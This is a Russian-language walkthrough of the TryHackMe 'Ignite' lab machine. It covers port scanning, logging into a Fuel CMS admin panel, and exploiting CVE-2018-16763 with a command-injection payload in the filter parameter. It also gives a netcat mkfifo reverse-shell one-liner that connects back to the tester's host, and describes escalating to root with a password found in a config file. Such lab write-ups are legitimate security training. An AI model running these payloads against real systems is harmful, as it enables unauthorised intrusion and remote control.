THM Ignite

THM Ignite

Max Alexeev (@wi_max)

Представляю решение одной из уязвимых виртуальных машин платформы TryHackMe.


Сканируем хост с помощью nmap. Я это делаю с помощью следующего скрипта:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

В качестве параметра мы передаем ip-адрес хоста. Сканирование будет проведено в два этапа: на первом мы узнаем порты, которые открыты, обрабатываем вывод и передаем эти порты на повторное полное сканирование.

Вывод результата сканирования

В данном случае нам доступен только веб-сервер на 80 порту. Зайдя на главную страницу сразу можно узнать, что за Content Management System (CMS) работает на сайте и ее версию.

В ходе просмотра главной страницы, можно заметить еще более интересную информацию:

Перейдя на http://10.10.160.149/fuel

Проверяем данные для входа и получаем доступ к админке данной CMS. Получив доступ, я решил поискать известные уязвимости для данной версии CMS.

Выделенный скрипт позволяет выполнить код на целевой системе. Скопируем его на рабочий стол и попробуем разобраться в том, что он делает.

Вся "магия" происходит на выделенном фрагменте кода. Мы отправляем на сервер запрос следующего содержания:

url + "/fuel/pages/select/?filter='+pi(print($a='system'))+$a('" urllib.quote(xxxx) "')+'"  

Передача значения хххх позволяет выполнить команду терминала из под PHP, а в целом, это выглядит как SQL-injection to RCE. Данная уязвимость известна как CVE-2018-16763 .

Попробуем выполнить скрипт, предварительно настроив перехватывающий прокси Burp Suite (без него можно, но тогда надо отредактировать код скрипта).

Результат выполнения скрипта

Так это выглядит в Burp Suite:

Мы видим, что можем выполнить команды терминала. Попробуем получить шелл в систему, для этого я обычно пользуюсь отличным набором полезных нагрузок на все случаи жизни.

Для того, чтобы принять реверс шелл, необходимо воспользоваться утилитой netcat.

Указание данных флагов обеспечивает:

-l (--listen) - слушаем порт на предмет входящих подключений;

-n (--nodns) - не преобразовывать имена хостов через DNS;

-v (--verbose) - уровень разборчивости вывода;

-p (--port) - порт, на который ожидаем подключения.

В данном случае прекрасно отрабатывает реверс шелл:

rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.9.1.195 4444 >/tmp/f

Представленные команды будут выполнены одна за другой. Давайте разберемся, что делает каждая из них:

rm /tmp/f ;  - выполнение данной команды удаляет файл f, если он существует;

mkfifo /tmp/f ; - создает особый FIFO-файл (именованный канал);

cat /tmp/f | /bin/sh -i 2>&1 | nc 10.9.1.195 4444 >/tmp/f - считываем содержимое /tmp/f и перенаправляем на вход следующей команде, которая открывает шелл (можно использовать и /bin/bash) в интерактивном режиме (-i), перенаправляя поток ошибок и поток вывода в одно место и, наконец, вся эта конструкция передается на вход уже известной утилите, которая соединяется с указанным хостом и портом, перенаправляя весь вывод в созданный нами FIFO-файл.

Результат выполнения реверс-шелла

После получения данного шелла я рекомендую выполнять команду:

script -qc /bin/bash /dev/null

которая даст более полный терминал и поможет избежать проблем.

Флаг юзера находится в домашней директории (/home/<user>).

Попробуем повысить привилегии. Традиционно я начинаю с просмотра возможностей данного пользователя:

sudo - l  требует пароль, мы его не знаем. Здесь два варианта, пытаться найти файлы с нестандартными разрешениями или найти пароль от пользователя root или хотя бы от данного пользователя. После упорного поиска удалось найти пароль рута в одном из файлов в /var/www/html/fuel/application/config.

Обнаружив пароль, повышаем привилегии, выполняя просто su и вводя пароль.


 

 

Report Page